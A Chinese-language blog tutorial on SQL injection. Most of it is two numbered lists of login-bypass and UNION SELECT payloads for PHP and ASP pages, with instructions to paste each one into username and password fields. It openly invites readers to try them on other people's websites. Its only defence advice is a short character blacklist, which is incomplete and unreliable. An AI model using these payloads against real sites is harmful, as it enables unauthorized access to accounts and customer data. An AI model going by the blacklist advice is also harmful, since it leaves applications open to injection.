【資安淺談】淺談SQL注入漏洞(教學)

by - 清晨7:15

SQL 注入漏洞又名:資料隱碼攻擊,在談到 SQL 注入漏洞時一定要知道什麼是 SQL,SQL 是結構化查詢語言(英語:Structured Query Language,縮寫:SQL),這專有名詞很惱人,所以先不理他,簡單來說,SQL 是一種資料庫語言,而資料庫常用來做登入系統,例如建立一個有帳戶名稱和密碼的資料庫,可以很方便地進行管理,但也有一個缺點,那就是你的資料庫若沒做好安全防護,很有可能讓你的客戶個資外洩,其中一種攻擊方式就是今天要講的 SQL 注入攻擊,這種攻擊常用在當你用 SQL 資料庫來當你的網站後台(就是編輯網站和管理網站的地方)的登入系統時,有可能遭駭客利用 SQL 注入漏洞,導致你的網站首頁可能被惡搞之類的後果,所以我要來介紹一下 SQL 注入的攻擊手法和防範方法。


首先,我們先站在攻擊者的角度來思考,假設有一個網站叫灰狼87網,他的後台登入頁面長這樣:
這樣的登入頁面很陽春,但很多小型網站的登入系統都是自己設計的,懶得加美邊及防護,所以可能漏洞百出,在這裡,我們先想想,如果我正常的輸入帳密會登入到系統中,但若我不知道帳密,想繞過登入保護機制呢?
這時 SQL 注入就派上用場了,我們以一個簡單的範例來看:
我們假設存密碼的變數叫 A
正常輸入會變 A=1234
但我們如果輸入 "=A" 呢?這樣 A==A 就變恆等式了,條件一定成立,所以回到灰狼87網的登入頁面,我們在帳號的地方輸入特定句子後說不定能繞過登入機制
先看到網址列尾端,
如果是 XXX.php,就是 PHP 網頁
如果是 XXX.asp 就是 ASP 網頁
這兩種網頁要分別使用不同的測試語句

PHP 網頁的測試語句


  1. ' or 1=1--
  2. " or 1=1--
  3. or 1=1--
  4. ' or '' = '
  5. ' or 'a'='a
  6. " or "a"="a
  7. ') or ('a' 'a
  8. ' or 1=1
  9. ' or '1=1

ASP網頁的測試語句


  1. ' or 1=1
  2. ' or '1=1
  3. '/*
  4. '%23//" '#"
  5. ' and password='mypass
  6. id=-1 union select 1,1,1
  7. id=-1 union select char(97),char(97),char(97)
  8. id=-1 union select 1,1,1 from members
  9. id=-1 union select 1,1,1 from admin
  10. id=-1 union select 1,1,1 from user

知道是哪一種網頁後把藍色的測試語句貼在帳號和密碼欄位上,每一條都試試看,看看能否繞過登入系統,可以拿來測試你自己的網站或「測試」別人的也可,只要看到這類頁面都可試試,但別說是我教的…



好啦,再來是防禦的部分,很簡單,詳細辦法若你能設計出登入頁面自然知道下面要怎麼做
你只要禁止輸入時包含以下字元即可:
  1. ;
  2. '
  3. --
  4. /*...*/
今天的教學就到這邊啦!記得分享此文給有需要的人喔~

你可能會喜歡

0 意見